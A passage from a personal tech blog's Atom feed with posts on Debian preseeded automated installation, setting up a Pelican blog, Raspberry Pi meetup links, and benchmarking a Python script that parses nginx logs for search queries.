&lt;p&gt;This idea worked so well that I made a video out …&lt;/p&gt;</summary><content type="html">&lt;p&gt;A few days ago in my part of the talk at GTALUG &lt;a class="footnote-reference" href="#footnote-1" id="footnote-reference-1"&gt;[1]&lt;/a&gt;  I mentioned using Debian automated install &lt;a class="footnote-reference" href="#footnote-2" id="footnote-reference-2"&gt;[2]&lt;/a&gt; to quickly bring up fully virtualized systems, as one of possible methods of system deployment or testing Ansible scripts.&lt;/p&gt;
&lt;p&gt;This idea worked so well that I made a video out of it --&lt;/p&gt;
&lt;div class="youtube youtube-16x9"&gt;&lt;iframe src="https://www.youtube.com/embed/WtIkKrkzPSw" allowfullscreen seamless frameBorder="0"&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;p&gt;The video is based on the following: preseed file &lt;a class="footnote-reference" href="#footnote-3" id="footnote-reference-3"&gt;[3]&lt;/a&gt; taken from kali linux preseed &lt;a class="footnote-reference" href="#footnote-4" id="footnote-reference-4"&gt;[4]&lt;/a&gt; and gen_iso script &lt;a class="footnote-reference" href="#footnote-5" id="footnote-reference-5"&gt;[5]&lt;/a&gt;, the latter is a distilled version EditIso instructions from Debian Wiki &lt;a class="footnote-reference" href="#footnote-6" id="footnote-reference-6"&gt;[6]&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Example usage -- generating an ISO image based on an existing Debian ISO and a preseed.cfg:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;./gen_iso.sh -i debian-8.6.0-amd64-CD-1.iso -p presseed.cfg preseeded.iso
&lt;/pre&gt;&lt;/div&gt;
&lt;div class="section" id="discussion"&gt;
&lt;h2&gt;Discussion&lt;/h2&gt;
&lt;p&gt;One major issue with writing automated install answers -- partitioning abilities are somewhat limited, and the scripts quickly grows in complexity for anything beyond simple one- or two- partition layout. If complex partition required, as in cases when installing Debian on bare hardware, it is possible omit answers to partition questions -- the installer will drop into interactive mode, where custom partition will be set up, once that part of the installation is finished, automated install will resume.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="creating-preseed-file"&gt;
&lt;h2&gt;Creating preseed file&lt;/h2&gt;
&lt;p&gt;It is possible to just run a standard installation giving all the answers to the installer, once installation is over, the answers are retrieved using &lt;em&gt;debconf-get-selections&lt;/em&gt; tool, a part of &lt;em&gt;debconf-utils&lt;/em&gt; package.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# debconf-get-selections --installer &amp;gt; ${HOME}/preseed.cfg&lt;/span&gt;
&lt;span class="c1"&gt;# debconf-get-selections &amp;gt;&amp;gt; ${HOME}/preseed.cfg&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The first command important than the second as it generates answers to questions asked during installation, the second command generates all answers to any subsequent package configuration dialog (i.e. complex packages like Postfix, or Postgresql).&lt;/p&gt;
&lt;p&gt;One possible issue that might arise in this scenario of generating configuration files -- automated install answers are work only for &lt;em&gt;standard&lt;/em&gt; Debian installation, answers recorded in &lt;em&gt;expert&lt;/em&gt; mode will cause errors like installation looping infinitely on one of the dialogs, or automated install dropping into regular install mode.&lt;/p&gt;
&lt;p&gt;Another way of generating a preseed file, is to modify existing  minimal configuration.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="conclusion"&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Debian automated install is a handy way of getting from bare metal to a running system that can be handed off to Ansible for further configuration. The point of automated install is to fill the niche Ansible currently not servicing, all further system modifications should be done with Ansible as automated install answers quickly become really complicated.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="sources"&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-1" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[1]&lt;/td&gt;&lt;td&gt;AGM and Ansible with Myles Braithwaite and Alex Volkov. &lt;a class="reference external" href="https://gtalug.org/meeting/2016-10/"&gt;https://gtalug.org/meeting/2016-10/&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-2" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[2]&lt;/td&gt;&lt;td&gt;Appendix B. Automating the installation using preseeding. &lt;a class="reference external" href="https://www.debian.org/releases/jessie/i386/apbs02.html.en"&gt;https://www.debian.org/releases/jessie/i386/apbs02.html.en&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-3" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[3]&lt;/td&gt;&lt;td&gt;A sample preseed file. &lt;a class="reference external" href="https://github.com/myles/2016-10-11-ansible/blob/master/2-testing/03-debian-preseed/iso/preseed.cfg"&gt;https://github.com/myles/2016-10-11-ansible/blob/master/2-testing/03-debian-preseed/iso/preseed.cfg&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-4" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[4]&lt;/td&gt;&lt;td&gt;Kali linux preseed file. &lt;a class="reference external" href="https://www.kali.org/dojo/preseed.cfg"&gt;https://www.kali.org/dojo/preseed.cfg&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-5" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[5]&lt;/td&gt;&lt;td&gt;gen_iso.sh script for creating ISO images with slipstreamed preseed files.  &lt;a class="reference external" href="https://github.com/myles/2016-10-11-ansible/blob/master/2-testing/03-debian-preseed/iso/gen_iso.sh"&gt;https://github.com/myles/2016-10-11-ansible/blob/master/2-testing/03-debian-preseed/iso/gen_iso.sh&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-6" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[6]&lt;/td&gt;&lt;td&gt;Debian-Installer: How to modify an existing CD image to preseed d-i. &lt;a class="reference external" href="https://wiki.debian.org/DebianInstaller/Preseed/EditIso"&gt;https://wiki.debian.org/DebianInstaller/Preseed/EditIso&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
</content><category term="linux"></category><category term="debian"></category><category term="automation"></category><category term="preseeding"></category><category term="linux"></category></entry><entry><title>Hello world</title><link href="https://flamy.ca/blog/2016-09-29-hello.html" rel="alternate"></link><published>2016-09-29T22:01:00-04:00</published><updated>2016-09-29T22:01:00-04:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2016-09-29:/blog/2016-09-29-hello.html</id><summary type="html">&lt;p&gt;A one way of learning restructured test is to start writing all of the things
down using rst. &lt;a class="reference external" href="http://docs.getpelican.com/en/3.3.0/getting_started.html"&gt;Pelican&lt;/a&gt; is a rather nice static site generator, it is written in Python, so it is more intuitive for me to use.&lt;/p&gt;
&lt;p&gt;I followed this short tutorial on how to set up …&lt;/p&gt;</summary><content type="html">&lt;p&gt;A one way of learning restructured test is to start writing all of the things
down using rst. &lt;a class="reference external" href="http://docs.getpelican.com/en/3.3.0/getting_started.html"&gt;Pelican&lt;/a&gt; is a rather nice static site generator, it is written in Python, so it is more intuitive for me to use.&lt;/p&gt;
&lt;p&gt;I followed this short tutorial on how to set up a blog with pelican, rst and github pages can be found on &lt;a class="reference external" href="http://www.circuidipity.com/pelican.html"&gt;Circuidipity&lt;/a&gt;.&lt;/p&gt;
</content><category term="self-hosting"></category><category term="pelican"></category><category term="web"></category><category term="rst"></category><category term="github"></category><category term="first"></category></entry><entry><title>Thursday's Raspberry Pi meetup</title><link href="https://flamy.ca/blog/2016-01-17-thursdays-raspberry-pi-meetup.html" rel="alternate"></link><published>2016-01-17T22:01:00-05:00</published><updated>2016-01-17T22:01:00-05:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2016-01-17:/blog/2016-01-17-thursdays-raspberry-pi-meetup.html</id><summary type="html">&lt;p&gt;I went to &lt;a class="reference external" href="http://www.meetup.com/Raspberry-Pi/"&gt;Raspberry Pi meetup&lt;/a&gt; on Thursday, January 14, and would like to share some links about the presentation I gave and things I brought with me.&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="https://github.com/avolkov/rpi-opencv"&gt;Instructions on setting up OpenCV on Raspbian Jessie&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://github.com/avolkov/my-first-automatic-door-man"&gt;My fork of Thiago's automatic doorman that works with PiCamera&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://picamera.readthedocs.org/en/release-1.10/"&gt;Python library and documentation …&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;</summary><content type="html">&lt;p&gt;I went to &lt;a class="reference external" href="http://www.meetup.com/Raspberry-Pi/"&gt;Raspberry Pi meetup&lt;/a&gt; on Thursday, January 14, and would like to share some links about the presentation I gave and things I brought with me.&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="https://github.com/avolkov/rpi-opencv"&gt;Instructions on setting up OpenCV on Raspbian Jessie&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://github.com/avolkov/my-first-automatic-door-man"&gt;My fork of Thiago's automatic doorman that works with PiCamera&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://picamera.readthedocs.org/en/release-1.10/"&gt;Python library and documentation for PiCamera&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://www.pyimagesearch.com/"&gt;OpenCV tutorials&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://www.modmypi.com/electronics/sensors/soil-moisture-sensor"&gt;Soil moisture sensor (or soil hygrometer)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://www.modmypi.com/blog/raspberry-pi-plant-pot-moisture-sensor-with-email-notification-tutorial"&gt;Soil moisture sensor tutorial&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://www.tiagoespinha.net/2014/05/project-how-to-easily-monitor-your-plants-soil-humidity/"&gt;A more complete soil hygrometer tutorial&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;One important thing to be aware about soil moisture sensor, is to not apply voltage to the soil probe all the time or take too many measurements at once as leads on the probe will quickly corrode. Also the probe has analog data output, and it looks like it would work better with Adruino board than Raspberry Pi as the latter doesn't have analog input pins.&lt;/p&gt;
</content><category term="linux"></category><category term="raspberrypi"></category><category term="opencv"></category><category term="gardening"></category></entry><entry><title>Fun of premature optimization</title><link href="https://flamy.ca/blog/2016-01-09-fun-of-premature-optimization.html" rel="alternate"></link><published>2016-01-09T00:00:00-05:00</published><updated>2016-01-09T00:00:00-05:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2016-01-09:/blog/2016-01-09-fun-of-premature-optimization.html</id><summary type="html">&lt;p&gt;Last week I deployed a redesigned website that included a new search feature, looking at the server logs I've noticed that users of the site use search. A lot.&lt;/p&gt;
&lt;p&gt;I wanted to know more about what kind of questions end-users were asking, so I wrote a short program to parse …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Last week I deployed a redesigned website that included a new search feature, looking at the server logs I've noticed that users of the site use search. A lot.&lt;/p&gt;
&lt;p&gt;I wanted to know more about what kind of questions end-users were asking, so I wrote a short program to parse the logs, extracting query strings formed with HTTP GET variable &lt;cite&gt;q=query+text&lt;/cite&gt;. It was fairly easy do, especially with apache_log_parser &lt;a class="reference external" href="https://pypi.python.org/pypi/apache-log-parser/"&gt;pypi&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/rory/apache-log-parser"&gt;github&lt;/a&gt;, that works with any web server with &lt;a class="reference external" href="https://httpd.apache.org/docs/1.3/logs.html#common"&gt;common log format&lt;/a&gt; support. Nginx is compatible, default access log line can be parsed with this -- &lt;em&gt;%h %l %u %t &amp;quot;%r&amp;quot; %&amp;gt;s %O &amp;quot;%{Referer}i&amp;quot; &amp;quot;%{User-Agent}i'&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The program returns an array records, each containing query string, remote IP address and a time stamp, then I toyed with the idea of measuring its performance, so I tested several possibilities with the most crude tool ever -- &lt;a class="reference external" href="http://ss64.com/bash/time.html"&gt;time command&lt;/a&gt;. I used &lt;em&gt;real&lt;/em&gt; time value.&lt;/p&gt;
&lt;p&gt;The setup: this program is implemented in Python 3, it was run on Intel Celeron 2955U, the input log file size is 15MB. All the code changes were cumulative -- the performance was measured with all the changes up to that point.&lt;/p&gt;
&lt;p&gt;Source code from the initial version.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pprint&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pprint&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;apache_log_parser&lt;/span&gt;
&lt;span class="n"&gt;nginx_parser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;apache_log_parser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;make_parser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;%h %l &lt;/span&gt;&lt;span class="si"&gt;%u&lt;/span&gt;&lt;span class="s1"&gt; %t &amp;quot;&lt;/span&gt;&lt;span class="si"&gt;%r&lt;/span&gt;&lt;span class="s1"&gt;&amp;quot; %&amp;gt;s %O &amp;quot;%&lt;/span&gt;&lt;span class="si"&gt;{Referer}&lt;/span&gt;&lt;span class="s1"&gt;i&amp;quot; &lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;%{User-Agent}i&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;log_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;access.log&amp;quot;&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;parse_queries&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;in_query&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;Return one or more quieries in the request stripping &amp;#39;q&amp;#39; member&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;in_query&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;q&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;q&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;prep_item&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;parsed_line&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;create a dictinary with label, timestamp and IP address members&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span class="n"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parsed_line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;time_received_tz_datetimeobj&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;remote_ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parsed_line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;remote_host&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;remote_ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;extract_searches&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;parse the logfile and return list of dictionaries with query, time ip&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span class="n"&gt;search_list&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;r&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;outp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;nginx_parser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;request_url_path&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;outp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;continue&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/search/&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;outp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;request_url_path&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
                &lt;span class="k"&gt;continue&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;parse_queries&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;outp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;request_url_query_list&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]):&lt;/span&gt;
                &lt;span class="n"&gt;search_list&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prep_item&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;outp&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;search_list&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;__main__&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;searches&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;extract_searches&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;log_file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;pprint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;searches&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Running this script under time gave the following results.&lt;/p&gt;
&lt;table border="1" class="docutils"&gt;
&lt;colgroup&gt;
&lt;col width="33%" /&gt;
&lt;col width="67%" /&gt;
&lt;/colgroup&gt;
&lt;thead valign="bottom"&gt;
&lt;tr&gt;&lt;th class="head"&gt;Run #&lt;/th&gt;
&lt;th class="head"&gt;time (seconds)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;11.052&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;11.139&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;11.019&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;11.073&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;average&lt;/td&gt;
&lt;td&gt;11.0708&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;What would happen if the list accumulator in &lt;cite&gt;extract_searches&lt;/cite&gt; were replaced by a generator called outside of the function by list comprehension?
The code will look much cleaner, generators are a little slower than in-memory operations, but list comprehensions are much faster than array append, on average this should be the same or slightly faster.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;extract_searches&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;log_fd&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;log_fd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;outp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;nginx_parser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;request_url_path&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;outp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; \
                &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/search/&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;outp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;request_url_path&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]):&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;parse_queries&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;outp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;request_url_query_list&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]):&lt;/span&gt;
            &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="n"&gt;prep_item&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;outp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;...&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;__main__&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;log_file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;r&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;logfile&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;searches&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;extract_searches&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;logfile&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;searches&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;As it turns out, on average this particular case of nicer python code is marginally slower.&lt;/p&gt;
&lt;table border="1" class="docutils"&gt;
&lt;colgroup&gt;
&lt;col width="33%" /&gt;
